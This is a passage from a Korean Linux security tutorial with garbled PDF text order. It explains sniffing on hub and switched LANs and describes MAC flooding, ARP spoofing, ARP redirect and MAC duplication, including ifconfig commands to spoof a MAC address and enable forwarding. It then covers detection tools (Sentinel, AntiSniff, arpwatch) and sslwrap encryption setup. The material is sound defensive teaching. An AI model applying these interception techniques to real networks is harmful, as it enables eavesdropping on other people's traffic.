위와 같이 실행하면 즉 대역의 서버중 에 대한 211.47.65.255 211.47.65.0 211.47.65.1
캐시를 가지고 있는 모든 서버에 대해 의 주소는 로 업데이 arp 211.47.65.1 MAC HH:HH
트하라고 브로드 캐스트하는 것이다 이를 실행하면 라우터를 포함하여 모든 네트워크 장비 .
가 캐시를 업데이트하며 네트워크가 다시 작동하는 것을 확인할 수 있을 것이다 참고 arp .
로 자신의 정보는 아래와 같이 를 실행하면 확인할 수 있다 MAC ifconfig .
그림 주소의 확인 < 6> MAC
실제로 를 이용하면 한 서버가 다운시 다른 서버가 대신 서비스하는 클러스 gratuitous arp
터링의 용도로도 사용되며 매우 유용한 프로그램이라 할 수 있다 이외 와 관련하여 . ARP
라는 것도 있는데 이는 가 기존의 캐시를 다른 정보로 업데이 Unarp , Gratuitous arp arp
트하는 것이라면 는 기존의 캐시가 있는 시스템이 있다면 단지 캐시를 삭제 Unarp arp arp
만 하는 것이다 따라서 접속할 때마다 가 변하는 등의 의 경우는 접속을 끊 . IP ADSL DHCP
을 때 를 하고 를 할당받아 네트워크를 시작할 때에는 Unarp Broadcasting , IP Gratuitous
를 실행하면 캐시로 인하여 접속이 되지 않는 문제는 해결이 될 것이다 arp arp .
이렇듯 는 매우 유용하지만 다른 한편으로 악용될 경우에는 쉽게 다른 시스 gratuitous arp
템을 무력화시킬 수 있는 무서운 공격 프로그램이 될 수 도 있다는 점을 양지하기 바란다.
와 허브 Switch Dummy
이번에는 로컬구간에서의 통신에 대해 알아보도록 하자.
많은 사람들은 네트워크의 보안을 위해 더미 허브대신 스위치를 사용하라고 권장한다 LAN .
과연 그런가 실제로 스위치는 애초에 디자인시 보안을 고려했기 보다는 를 ? Performance
염두해 두고 개발된 것인데 어떻게 하다보니 우연히 더미 허브에 비해 보안에 좋 , (Dummy)
은 것 뿐이지 반드시 그러한 것은 아니다 그럼 여기서 잠깐 더미허브와 스위치의 차이에 . ,
대해 알아보도록 하자 더미 허브와 스위치는 일반적으로 차선의 개념과 연관지어 생각하면 .
쉽다.
그림 의 개념 < 7> Switch
스위치의 경우 위와 같이 이 차선이면 도 차선인 개념이다 반면에 더미 허브 input 4 output 4 .
는 은 차선이지만 은 차선인 개념이므로 당연히 에서 병목현상이 발 input 4 output 1 output
생할 수밖에 없게 된다 이때 병목 현상으로 인하여 동시에 에 도달하려면 필연적으 . output
로 충돌 이 생기게 되어 결국 속도 저하가 발생하게 된다 리눅스에서 특정 인터 collision( ) .(
페이스의 여부는 로 확인할 수 있다 그런데 이러한 속도 저하보다는 collision ifconfig .) ,
좀 더 중요한 차이점이 있다 즉 스위치는 지정된 로 패킷을 바로 포워딩해 주지만 더미 . , IP
허브는 모든 패킷을 모든 포트에 한다는 것이다 그럼 여기에서 각각 더미허브 broadcast .
및 스위치 환경에서 데이터가 통신하는 경로에 대해 다시 생각해 보자.
# Dummy
더미 환경에서 서버와 서버가 과 같은 통신을 한다면 서버에 (dummy) A C telnet TCP , A
서는 제일 먼저 을 하게 된다 이때 이 요청은 이므로 ARP Broadcasting . Broadcasting B,
모두에게 전달된다 이중 서버는 목적지 가 자신의 가 아니므로 이 요청에 C . B ARP IP IP
응답하지 않고 서버는 목적지가 자신의 이므로 이 요청에 대하여 요청을 한 서버에 C IP A
게 를 한다 그러나 환경에서는 모든 패킷이 하므로 서 ARP reply . dummy broadcast B
버에서도 서버의 응답을 캡처할 수 있다 이는 위의 그림에서 확인하였 C unicast .( tcpdump
다 와 간에 와 를 한 후에는 통신을 하려고 하므로 본격적 .) A C ARP broadcast reply TCP
인 데이터 교환을 하기 전에 과정을 선행하게 된다 TCP 3 Way handshake .
그림 < 8> TCP 3 way handshake
과정은 위 그림에서와 같이 서버와 클라이언트간에 위 가지 절차 tcp 3 way handshake 3
를 거친 후에야 연결이 성립되어 데이터가 교환된다는 것을 익히 알고 있을 것이다 그런 .
데 에서는 위 뿐만이 아니라 이후의 모든 데이터 , dummy 3 way handshake Connection
교환 역시 하게 된다 아래에서는 서버에서 서 broadcast . 211.47.65.106 www35.tt.co.kr
버로 접속시 반응하는 패킷을 서버에서 로 잡은 예이다 telnet www35.tt.co.kr tcpdump .
에서 보는 것처럼 먼저 통신이 되어 서버의 정보를 교환한 후에야 비로 tcpdump arp MAC
서 가 이루어지는 것을 확인할 수 있을 것이다 만약 한번 시도를 한 3 way handshake .
후에는 캐시가 있으므로 캐시가 있는 상태에서 재시도를 하면 요청과 절차 arp arp reply
가 없이 바로 가 이루어지는 것을 그림 에서 확인해 볼 수 있다 3 way handshake < 10> .
그림 가 없을때의 < 9> arp cache tcpdump
그림 가 있을때의 < 10> arp cache tcpdump
# switch
환경에서 서버와 서버가 과 같은 통신을 한다면 서버에서는 switch A C telnet TCP A C
서버의 주소를 알기 위해 먼저 을 한다 이때 이 요청은 MAC ARP Broadcasting .
이므로 모두에게 전달된다 이중 서버는 목적지 가 자신이 아 Broadcasting B, C . B ARP IP
니므로 이 요청에 응답하지 않고 서버는 목적지가 자신의 이므로 이 요청에 대하여 , C IP
요청을 한 서버에 를 한다 여기까지는 스위치나 환경이 동일하다 그 A ARP reply . dummy .
러나 환경에서는 이외의 모든 패킷이 하지 않으므로 switch arp broadcast broadcast B
서버에서는 서버의 응답을 캡처할 수 없다 와 간에 와 C unicast . A C ARP broadcast
를 한 후에는 통신을 하려고 하므로 본격적인 데이터 교환을 하기 전에 reply TCP TCP 3
과정을 거치게 된다 와 간에 서로의 정보를 교환한 후에는 서 Way handshake . A C MAC
로의 주소를 알기 때문에 뿐만이 아니라 이후의 모든 MAC 3 way handshake connection
데이터 교환 역시 하지 않고 와 간에만 통신을 하게 되며 에서는 와 broadcast A C B A C
간의 통신을 엿볼 수 없게 된다.
즉 환경에서는 요청과 응답 , dummy (1) arp
(2) tcp 3 way handshake
데이터 교환 (3)
이 모든 과정이 되어 에서도 와 간의 통신을 엿볼 수 있으나 broadcasting B A C
환경에서는 요청만이 하며 switch (1) arp broadcasting
응답 (2) arp
(3) tcp 3 way handshake
데이터 교환 모두 와 간에 로 작동하기 때문에 (4) A C unicast
에서는 와 간의 통신을 엿볼 수 없게 된다 B A C .
여기에서 처럼 자신을 출발지 또는 목적지로 하지 않은 와 간의 통신을 엿보는 일 B A C (?)
련의 행위을 스니핑 한다고 한다 (Sniffing) .
스니핑(Sniffing)
그렇다면 스니핑은 어떻게 가능한가?
크게 두 가지 이유로 가능하다 첫 번째는 위에서 본 것처럼 환경에서는 모든 패킷 . dummy
을 하여 직접적인 통신과는 관계없는 다른 나 서버에서도 다른 시스템의 패 broadcast PC
킷을 캡처할 수 있다는 특성을 이용한 것이고 두 번째는 인터넷의 표준 프로토콜로 사용중 ,
인 의 전송 방식이 암호화하지 않은 평문 를 사용한다는 점을 이용한 것 TCP/IP Plain text( )
이다 그렇다고 해서 방식으로 한다고 바로 모든 패킷을 스니핑 . Plain text broadcasting
할 수 있는 것은 아니다 왜냐하면 기본적으로 목적지 가 자신의 가 아닌 패킷은 이더 . IP IP
넷에서 패킷을 드롭 하는 특성이 있기 때문이다 이처럼 스니핑을 하려면 자신의 목적 (drop) .
지가 아닌 패킷도 받아들여야 하는데 그렇게 하려면 인터페이스가 또는 , promiscuous (
모드로 작동하도록 설정하여야 한다 모드는 우리말로 무차별 모드 라 promisc) . promisc “ ”
고도 하는데 모드로 설정되면 이더넷에서 패킷을 드롭하지 않고 모든 패킷을 다 , promisc
받아들이게 되어 스니핑이 가능하게 된다 리눅스에서 인터페이스가 모드인지 여 . promisc
부를 알 수 있는 명령어는 앞에서 본 것처럼 라는 명령어로 확인 가능하다 이때 ifconfig .
아래와 같이 라는 문자열이 보이면 인터페이스는 모드로 되어 있는 것 PROMISC promisc
인데 모드를 수동으로 설정하려면 , promisc
와 같이 하면 되고 설정을 해제하려면 # ifconfig eth0 promisc ,
로 실행하면 된다 # ifconfig eth0 -promisc .
그림 설정 여부 확인 < 11> promisc
특별한 이유가 없다면 평상시에는 모드로 설정되어 있을 필요가 거의 없으므로 만 promisc
약 자신의 시스템이 모드로 설정되어 있다면 스니핑 여부를 주의깊게 검토해 보아 promisc
야 할 것이다 그러나 시스템에 따라 자동으로 로 설정하는 경우도 있으니 . promisc
로 설정되어 있다고 해서 반드시 스니핑이 작동하고 있는 것은 아니라는 것을 참고 promisc
하기 바란다.
스니핑에 대한 대책
그렇다면 이에 대한 대책은 무엇인가 가지 정도의 방법을 대안으로 제시할 수 있겠다 ? 3 .
첫 번째는 로 전송되는 대신 암호화 전송 프로토콜을 사용하는 것이다 , Plain text TCP/IP .
이의 대표적인 예가 대신 대신 웹서버 등을 사용하는 것이 그 telnet SSH, http https(SSL )
예이다 여기서 잠깐 에 대해 이야기하고자 한다 적지 않은 사람들이 보안 웹서 . SSL . SSL
버를 설치하면 마치 방화벽처럼 모든 보안에 완벽해 지는 것으로 오해하는 경우가 있는데,
은 번 포트를 사용하는 프로토콜 역시 에 속하므로 평문으로 전송되어 SSL 80 http TCP/IP
스니핑 될 수 있기 때문에 기존의 대신 암호화 전송 프로토콜인 을 사용하는 것 http SSL
뿐이지 다른 것은 아닌 것이다 아마도 보안 웹서버라는 이름 때문에 다소 혼동하는 것이 .
아닌가 한다.
두 번째는 앞에서 본 것처럼 을 하는 대신 스위치를 사용하는 것이다 broadcasting dummy .
세 번째는 기업간 통신시 암호화된 통신을 하는 가상 사설망인 VPN(Virtual Provate
을 사용하는 것이다 Network) .
이 중 가장 근본적인 방법은 첫번째로 제시한 암호화 전송 프로토콜을 사용하는 것이다.
여기에서 잠깐 두 번째 방법으로 제시한 대신 스위치에 대해 알아보도록 하자 앞 dummy .
에서 본 대로 스위치를 사용할 경우 초기 요청시에만 하고 이후 arp broadcast broadcast
에는 모두 로 통신하므로 상대적으로 스니핑에 안전하다는 것을 이해했을 것이다 unicast .
하지만 과연 스위치를 사용한다면 스니핑에 안전할까 답은 결코 그렇지 않다 이다 왜냐 ? . . “ ”
하면 쉽지는 않지만 스위칭 환경에서도 스니핑을 할 수 있는 방법이 있기 때문이다 바로 .
의 특성을 이용하여 아래와 같은 몇 가지 방법이 가능하다 arp .
스위치 환경에서도 가능한 스니핑 기법
(1) MAC Flooding
스위치에서는 각각의 포트에 해당하는 물리적인 주소를 기억하고 있는데 이 메모리에 MAC
는 어느 정도의 한계치가 있다 이러한 스위치의 특성을 이용하여 위조된 을 지속적으 . MAC
로 발생시켜 스위치의 테이블을 시키는 방법으로 정보가 되면 스 ARP Flood MAC Flood
위치는 마치 처럼 모든 포트에 하게 된다 보안적인 용어로 이러한 것을 dummy broadcast .
이라 한다 fail open . “ “
(2) ARP Spoofing
은 스니핑하고자 하는 서버인 것처럼 을 위조한 패킷을 하여 ARP Spoofing MAC Broadcast
트래픽을 포워딩하는 것을 말하는데 앞의 그림 와 같은 스위치 환경에서 서버가 와 , 2 B A C
서버간의 통신을 스니핑 할 수 있는 방법으로 아래와 같이 의 원리만 알면 아주 쉽게 ARP
스니핑 할 수 있다 서버에서 서버에게 의 주소가 가 아니라 . B A 211.47.65.3 MAC CC:CC
서버의 주소인 라는 패킷을 발송하고 서버에는 의 주 B MAC BB:BB , C 211.47.65.1 MAC
소가 가 아니라 서버의 주소인 라는 패킷을 발송하는 것이다 그렇 AA:AA B MAC BB:BB .
게 되면 서버와 서버는 이 정보를 의심없이 받아들여 정보를 갱신한 후 와 간 통신 A C A C
시 모든 패킷은 서버로 보내지게 되며 서버는 모든 패킷을 받은 후 원래의 서버로 포 B B
워딩만 해 주면 되는 것이다 이때 서버의 로 설정되어 있어야 원 . B net.ipv4.ip_forward=1
래의 서버로 패킷을 포워딩하게 되며 와 서버는 정상적인 데이터 전송이 되므로 패킷이 A C
를 거쳐간다는 사실을 알 수 없게 되는 것이다 B .
(3) ARP Redirect
역시 과 비슷한 방법인데 자신이 마치 인 것처럼 ARP Redirect ARP Spoofing , Gateway
위조된 을 하여 모든 트래픽이 자신을 통과하게 하는 방법이다 즉 와 MAC Broadcast . , A C
서버에게 주소인 의 주소가 라우터의 주소인 Gateway 211.47.65.254 MAC MAC RR:RR
이 아니라 서버의 주소인 라는 패킷을 하는 것이다 그렇게 되 B MAC BB:BB broadcast .
면 로컬 랜상에 있는 서버들은 이 정보를 아무런 의심없이 받아들여 캐시 정보를 갱신한 후
게이트웨이로 보내는 모든 패킷을 가 아니라 서버인 로 보내게 211.47.65.254 B 211.47.65.2
되며 서버는 모든 패킷을 받은 후 원래의 게이트웨이인 로 포워딩만 해 , B 211.47.65.254
주면 되는 것이다 이때 서버의 로 설정되어 있어야 원래의 게이 . B net.ipv4.ip_forward=1
트웨이로 패킷을 포워딩하게 되며 와 서버는 정상적인 데이터 전송이 되므로 패킷이 A C B
를 거쳐간다는 사실을 알 수 없게 되는 것이다.
(4) MAC Duplicating
만약 서버에서 서버의 트래픽을 스니핑하고 싶다면 서버에서 서버의 주소와 B A B A MAC
같은 정보로 설정을 하는 방법이 바로 이다 를 이용하면 이 MAC MAC Duplicating . ifconfig
는 어렵지 않게 설정할 수 있는데 이를테면 의 주소가 인 , eth0 MAC 00:50:8B:9A:1B:1B
경우 이를 와 같이 설정하고자 한다면 먼저 으 AA:AA:AA:AA:AA:AA ifconfig eth0 down
로 인터페이스를 다운시킨 후 와 eth0 ifconfig eth0 hw ether AA;AA:AA:AA:AA:AA up
같이 실행하면 인터페이스의 정보를 변경할 수 있다 이러할 경우 스위치를 혼 eth0 MAC .
란시켜 두 포트 모두 같은 주소를 가진 것처럼 인식하게 되며 스위치는 서버로 보 MAC A
낼 트래픽을 와 모두에게 발송하게 되는 것이다 데이터는 두 포트 모두에게 보내어지 A B .
므로 서버에서는 포워딩을 설정할 필요가 없다 B IP .
실제로 위와 같이 스위치 환경에서 스니핑하는 것은 그리 어렵지 않으며
나 등과 같은 관련 툴을 이용하면 어 hunt dsniff(http://www.monkey.org/~dugsong/dsniff/)
렵지 않게 구현할 수 있다.
스니핑 차단하기
이제 스위치 환경도 결코 스니핑에 안전하지 않다는 사실을 알았을 것이다 그렇다면 스위 .
치 또는 환경에서 어떻게 보안을 강화할 수 있을까 아래의 몇 가지 방법을 대안으 dummy ?
로 제시할 수 있다.
(1) IP Flitering
스위치에서 제공하는 기능을 사용함으로써 각각의 포트에서 오가는 트래픽을 IP Filtering
필터링 할 수 있다 그러나 이 기능을 제공하는 스위치에서만 가능하며 매번 포트가 바뀔 .
때마다 수작업으로 설정해 주어야 하므로 많은 수고가 따르게 된다.
(2) Port security
만약 스위치에서 기능을 지원할 경우 나 을 예방 Port security MAC Flood MAC Spoofing
할 수 있는 방법으로 각각의 포트에 물리적인 주소를 정적 으로 설정하는 것이 MAC (Static)
다 각종 기반의 스니핑에 가장 확실한 방법이라 할 수 있지만 과연 이렇게 하는 곳이 . ARP
얼마나 될까는 의문이다.
원격지 서버의 스니핑 모니터링 프로그램
특정 서버에서 스니핑이 작동하고 있는지 리눅스의 경우 를 실행시 가 설 ifconfig PROMISC
정 되었는지 여부로 확인할 수 있다고 하였다 그런데 관리하는 서버가 여러 대라면 매번 . ,
로그인하여 로 설정 여부를 확인하겠는가 거기다가 만약 실행 ifconfig PROMISC ? ifconfig
파일 자체가 변조되어 결과를 신뢰할 수 없다면 이는 아무런 의미가 없게 되는 ifconfig ?
것이다 이를 위해 원격에서도 특정 서버의 스니핑 작동여부를 체크할 수 있는 과 . Sentinel
라는 프로그램을 소개하고자 한다 을 설치하려면 미리 패킷 캡처 라 AntiSniff . Sentinel
이브러리인 과 가 설치되어야 하는데 각각 Libnet 1.0 libpcap ,
와 (http://www.packetfactory.net/Projects/libnet) (ftp://ftp.ee.lbl.gov/libpcap-0.4.tar.Z)
에서 다운로드 받아 압축 해제 후 압축이 풀린 디렉토리에서 ./configure; make ; make
로 설치하면 된다 그리고 은 install . Sentinel
에서 다운로드 할 수 있으며 다운로드후 http://www.packetfactory.net/Projects/sentinel/
압축 해제를 하고 압축이 풀린 디렉토리에서 로 컴파일하여 설치하면 된다 현재 make all .
이 원격지 시스템에서 스니핑 여부를 감지하는 방법은 가지가 있는데 이 방법은 Sentinel 3 ,
각각 등이다 참고로 이 방법은 를 이용한 방 DNS test, Etherping test, ARP test . ARP
법이므로 같은 네트워크 세그먼트에 속해 있어야만 탐지의 의미가 있다는 점을 양지하기 바
란다.
먼저 각각의 방법이 가능한 원리에 대해 간단히 살펴보면 우선 의 경우 목적지 , DNS test
서버에 위조된 연결 요청을 보내어 일반적인 스니핑 프로그램이 요청한 시스템의 주소 , IP
를 역리졸브 한다는 특징을 이용하여 트래픽을 감시하여 스니 (Inverse DNS lookup) DNS
핑 여부를 감지하는 방법이다 는 목적지에 패킷을 보낼 때 목적지의 . Etherping test ping
는 맞지만 목적지의 주소는 존재하지 않는 정보로 위조하여 IP MAC Icmp Echo Packet
을 보내어 응답이 오는지 여부를 감시하는 방법으로 대부분의 정상적인 시스템에서는 존재
하지 않는 정보이기 때문에 패킷에 대해 응답하지 않지만 가 설정된 MAC promisc mode
시스템에서는 이와 관계없이 응답을 한다는 특징을 이용하여 감시하는 방법이다 마찬가지 .
로 역시 는 목적지의 로 설정하지만 목적지의 주소를 다르게 하여 ARP test IP IP MAC
대신 요구를 보내는 방법으로 모드가 아닌 경우에는 패킷이 목적지까 icmp ARP Promisc
지 갈 수 없으므로 목적지에서는 응답하지 않지만 모드인 경우에는 모든 패킷을 Promisc
받아들이므로 결국 응답한다는 특징을 이용하여 스니핑 여부를 감시하는 방법이다 각각의 .
방식에 대한 실행 예는 아래와 같다.
테스트 ./sentinel -a -t 211.47.65.4 # ARP
테스트 ./sentinel -d -f 1.1.1.1 -t 211.47.65.4 # DNS
테스트 ./sentinel -e -t 211.47.65.4 # Etherping
개의 테스트를 동시에 수행 ./sentinel -t 211.47.65.4 -f 1.1.1.1 -d -a e # 3 –
위와 같이 실행시
Results: 211.47.65.4 tested positive to etherping test.
와 같이 탐지 결과가 가 나오면 모드로 설정되었다는 의미이므로 해당 positive Promisc
인터페이스의 여부를 조사하여야 한다 그런데 한 시스템에 대해 각각의 테스트 PROMISC . ,
를 동시에 실행했을 때 결과가 각기 다르게 나오는 경우가 있는데 이는 리눅스의 커널 버 ,
전에 따라 종종 발생하는 현상으로 세 가지 방법중에 어느 하나라도 라는 결과가 positive
나온다면 반드시 스니핑 작동 여부를 확인하기 바란다.
아울러 의 경우 에서 다운로드 Antisniff http://www.securitysoftwaretech.com/antisniff/
가능하며 리눅스 버전과 윈도우 버전의 프로그램도 사용할 수 있는데 테스트 하는 원리는 ,
위의 과 비슷하며 추가적으로 라는 재미있는 방법이 있는데 이 방 Sentinel Latency test ,
법은 스니핑이 작동시 모드로 설정되어 있을 경우에는 로컬 네트워크상의 모든 트 promisc
래픽을 받아들이느라 시스템의 로드가 전반적으로 높아진다는 점을 이용해 불필요한 쓰레기
트래픽을 전송하여 시스템의 응답 시간이 길어지는지 여부를 조회하는 방법으로 아직까지는
신뢰할 수는 없는 방법이며 계속적으로 개선중인 기능이다 100% .
윈도우 버전의 의 경우 모니터링하고자 하는 대역을 지정하여 한꺼번에 검사 Antisniff IP
가 가능하고 검사 결과에 대해 각종 통계도 볼 수 있으며 얼마의 주기로 테스트를 할 것 , ,
인지를 시간대별 날짜별 주별로 정할 수 있는 예약 기능 및 검사 결과가 변경시 메일로 , ,
발송하거나 음악이 나오게 하는 등의 알람 기능도 있어 편리하게 사용이 가능하다.
아울러 와 관련된 프로그램으로 작지만 강력한 프로그램인 라는 프로그램을 arp ARPWatch
소개하고자 한다 앞에서 를 실행하였을때 실시간으로 주소와 . tcpdump -e arp IP MAC “ ”
정보가 되는 것을 확인하였을 것이다 broadcast . 이 프로그램은 이러한 ARP 트래픽을 실시
간으로 모니터링하여 MAC 주소와 IP 간의 매칭을 감시하는 프로그램으로서 만약 현재
의 ARP 정보가 데이터베이스에 저장되어 있는 정보와 다르 ARP 거나 새로운 MAC 주소가
추가/확인시에는 해당하는 내용을 지정된 관리자에게 메일로 통보하게 된다 프 . arpwatch
로그램을 이용하면 MAC 주소나 ARP를 이용하는 공격에 대한 대응 및 네트워크 관리에
매우 유용하다.
암호화 전송 프로토콜 사용하기
앞에서 가 얼마나 취약한지 그리고 이를 위한 대책이 어떤 것이 있는지 알아보았 TCP/IP
다 물론 의 취약점을 개선하기 위해 등 새로운 개발이 가시화되고 있지만 현 . TCP/IP ipv6
재의 상태에서 가장 확실한 방법은 암호화 전송 프로토콜을 사용하는 것에는 모두 동의할
것이다 이는 대신 를 대신 를 사용한다고 말했었다 그렇다면 . telnet ssh , http https . ftp,
등 다른 프로토콜은 어떻게 할 것인가 만약 만 사용한다면 그냥 를 smtp, pop3 ? telnet ssh
사용하기만 하면 되겠지만 한 서버에서 과 등을 함께 사용한다면 어느 하 telnet ftp, pop3
나의 서비스만 암호화하는 것은 그리 큰 의미가 없다 어차피 자체가 취약한 것이 . TCP/IP
므로 암호화 전송 프로토콜을 사용하려면 모든 서비스에 대해 암호화 전송 프로토콜을 사용
해야 하기 때문이다 그래서 이를 위해 기존 기반의 서비스에 암호화 전송 프로토 . TCP/IP
콜을 사용하려면 아래와 같은 두 가지 방법이 가능하다.
를 이용한 암호화 (1) sslwrap
의 포트전송 기능을 이용한 암호화 (2) SSH
를 이용한 암호화 (1) sslwrap
는 나 등의 서비스를 감싸 을 이용하여 모든 sslwrap pop3 imap, smtp TCP TSL/SSL
데이터 전송을 암호화하는 간단한 유닉스 서비스로서 기존의 서비스를 다시 설치할 TCP
필요없이 어렵지 않게 사용이 가능하다 를 이용하려면 이나 를 설 . sslwrap openssl ssleay
치하여야 하는데 여기에서는 을 사용하는 방법을 알아보도록 하자 , openssl .
먼저 에 접속하여 최신의 을 다운로드하여 설치할 서버에 http://www.openssl.org/ openssl
업로드한다.
또는 설치할 서버에서 직접 lynx http://www.openssl.org/source/openssl-0.9.6b.tar.gz “ ”
나 로 다운로드 받아도 된 wget http://www.openssl.org/source/openssl-0.9.6b.tar.gz “ ”
다 다운로드 후 압축 해제하여 압축이 풀린 디렉토리에서 아래와 같이 실행하여 컴파일하 .
여 설치를 한다.
[root@www ~/openssl-0.9.6b]# ./config ; make; make test; make install
이번에는 을 설치할 차례이다 sslwrap .
역시 나 "lynx http://www.rickk.com/sslwrap/sslwrap.tar.gz"
으로 다운로드한 후 압축 해제하여 "wget http://www.rickk.com/sslwrap/sslwrap.tar.gz"
만 실행하여 컴파일하면 된다 컴파일후 생성된 파일을 디렉토리 make . sslwrap /usr/sbin/
레 복사한다 혹 컴파일이 잘 안되는 경우에는 에서 자신의 버전에 맞 . http://rpmfind.net/
는 적당한 파일을 다운로드하여 설치해도 된다 rpm .
이번에는 인증서를 생성할 차례이다 물론 베리사인이나 등 공인된 . Thawte CA(Certificate
Authority) 기관에서 일정정도 비용을 지불하고 를 생성후 인증서를 구입하는 방법도 , CSR
있지만 여기에서는 자기 자신이 사인한 인증서를 발급하는 방법에 대해 알아보도록 하자.
인증서를 발급하는 명령어는 아래와 같다.
# openssl req -new -x509 -nodes -out /usr/local/include/sslwrap.pem -keyout
/usr/local/include/sslwrap.pem -days 365
이 명령어를 한줄에 이어서 입력하기 바란다 아래는 위와 같이 실행시 보이는 화면이다 . .
Using configuration from /usr/share/ssl/openssl.cnf
Generating a 1024 bit RSA private key
.....++++++
..++++++
writing new private key to '/usr/local/include/sslwrap.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:KR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Seoul
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Today & Tomorrow
Organizational Unit Name (eg, section) []:Net-Center
Common Name (eg, your name or your server's hostname) []:test1.tt.co.kr
Email Address []:antihong@tt.co.kr
위에서 굵게 표시된 부분은 각자의 상황에 맞게 적절히 입력하여야 하는 내용이다.
각각에 대해 잠깐 알아보도록 하자.
Country Name (2 letter code) [AU]:KR
국가 이름을 코드로 입력한다 한국은 이라 입력한다 --> . KR .
State or Province Name (full name) [Some-State]:
주는 존재하지 않으므로 적당히 입력하거나 그냥 엔터를 입력한다 --> .
Locality Name (eg, city) []:Seoul
--> 도시이름을 입력한다.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Today & Tomorrow
회사나 조직 기관의 이름을 입력한다 --> , .
Organizational Unit Name (eg, section) []:Net-Center
부서이름을 적절히 입력한다 --> .
Common Name (eg, your name or your server's hostname) []:test1.tt.co.kr
인증서가 설치되는 서버의 받는 메일서버 주소를 입력한다 --> .
만약 여기에서처럼 에 대해 암호화 프로토콜을 사용하려면 이 주소는 아 pop3, smtp
웃룩 익스프레스등의 메일 프로그램에서 보내는 메일서버 또는 받는 메일서버로
입력할 주소이다 등과 같이 자신의 이름을 입력하지 않도록 . Kildong, Hong
주의하기 바란다.
Email Address []:antihong@tt.co.kr
자신의 주소를 입력한다 --> e-mail .
이제 인증서 생성을 끝났으므로 를 나 에 설정할 차례이다 sslwrap inetd xinetd .
먼저 파일을 열어 /etc/services
pop3s 995/tcp
smtps 465/tcp
와 같이 설정되어 있는지 확인하고 없으면 위와 같이 추가한다.
그리고 의 경우 설정 파일에 아래와 같이 추가한다 xinetd xinetd.conf .
service smpts
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = nobody
server = /usr/sbin/sslwrap
server_args = -cert /usr/local/include/sslwrap.pem -quiet -port 25
log_on_failure += USERID
}
service pop3s
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = nobody
server = /usr/sbin/sslwrap
server_args = -cert /usr/local/include/sslwrap.pem -quiet -port 110
log_on_failure += USERID
}
의 경우라면 서비스에 대해 파일에 아래와 같이 설정할 수 있다 inetd pop3s inetd.conf .
pop3s stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 110
이와 같은 방식으로 다른 서비스도 아래와 같이 설정할 수 있다.
https stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 80
imaps stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 143
telnets stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/sslwrap
-cert /usr/local/include/sslwrap.pem -port 23
위와 같이 설정 후 또는 를 재시작하면 변경한 내용이 적용될 것이다 inetd xinetd .
설정한 포트가 열렸는지 아래와 같이 확인한다.
# telnet localhost pop3s
# tenlet localhost smtps
이제 서버에서의 설정은 끝났으므로 메일 클라이언트 프로그램에서 설정할 차례이다.
메일 프로그램에서 받는메일서버 보내는메일서버 를 위에서 설정한 서버이름으 (pop3), (smtp)
로 입력하고 고급 탭에서 보내는 메일서버와 받는 메일서버에 아래 그림과 같이 보안연결 , “
필요 를 선택하면 와 번 포트가 설정되는 것을 확인할 수 있다 (SSL) 465 995 . ”
그림 아웃룩 익스프레스 설정 < >
이제 드디어 모든 설정이 끝났다 메일 송수신이 되는지 테스트해 보기 바란다 그런데 메 . . ,
일 프로그램에서 보내고 받기를 클릭하면 아래와 같이 처음 프로그램을 시작할 때마다 경고
메시지가 뜨게 되어 여간 불편하지 않을 수 없다.
그림 공인된 인증서가 아닌 경우 경고 화면 < >
이는 공인된 인증서가 아니라 자기 자신이 사인한 인증서를 발급하였기 때문이며 이러한 경
우에는 다음과 같이 추가적인 작업을 해주면 이 메시지가 나타나지 않도록 할 수 있다.
먼저 인증서 파일인 파일을 열면 /usr/local/include/sslwrap.pem
로 시작해서 -----BEGIN RSA PRIVATE KEY----- -----END RSA PRIVATE
로 끝나는 부분과 로 시작해서 KEY----- , -----BEGIN CERTIFICATE-----
로 끝나는 부분이 있는데 이 중에서 -----END CERTIFICATE----- , "-----BEGIN
부분만 복사해서 등의 클라이 CERTIFICATE ...... END CERTIFICATE-----" Windows
언트 에 라는 파일로 복사를 한다 그리고 이 파일에서 오른쪽 마우스를 클릭 PC server.crt .
하면 인증서 설치 라는 메뉴가 보이는데 여기에서 인증서 설치 를 실행한다 이후 나오 , . “ ” “ ”
는 화면에서 모두 다음 다음 을 선택 후 마침을 선택하면 에서의 설치가 완료된 --> PC “ “ ” “
다 다음부터는 자체적으로 사인한 인증서를 사용하더라도 경고 화면이 나오지 않는 것을 .
확인할 수 있을 것이다 그럼 실제로 를 사용할 때 실제로 암호화가 되어 스니핑 할 . . pop3s
수 없는지 실제로 테스트해 보도록 하자 각종 리눅스 스니퍼 프로그램을 이용해도 되지만 .
여기에서는 를 이용해 테스트 해 보았다 tcpdump .
먼저 아래와 같이 서버에서 설정하여 연결을 캡처할 수 있도록 준비하고 로 메일을 pop3
받아보도록 하자.
# tcpdump -x host 211.1.1.1 > pop3.txt
이번에는 암호화 전송 프로토콜인 로 패킷을 캡쳐할 수 있도록 준비하고 로 pop3s pop3s
받아보도록 하자.
# tcpdump -x host 211.1.1.1 > pop3s.txt
이 명령어는 메일 클라이언트 프로그램을 실행하는 로부터의 패킷을 진수로 211.1.1.1 16
캡처하여 각각 와 라는 파일로 저장을 한다는 의미이다 이후 캡처한 데 pop3.txt pop3s.txt .
이터를 진수로 표기하는 아스키 코드표로 해석을 하면 된다 진수로 표기하는 아스키 16 . 16
표는 를 참고하기 바란다 http://www.asciitable.com/ .
또는 아래처럼 진수를 아스키로 변환해 주는 프로그램을 이용해서 변환할 수도 16 trans.pl
있다.
#!/usr/bin/perl
while(<>){
s/ //g;
s/([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
print $_;
}
위와 같이 작성 후 또는 를 하면 아래와 같이 덤프받은 데 perl trans.pl pop3.txt pop3s.txt
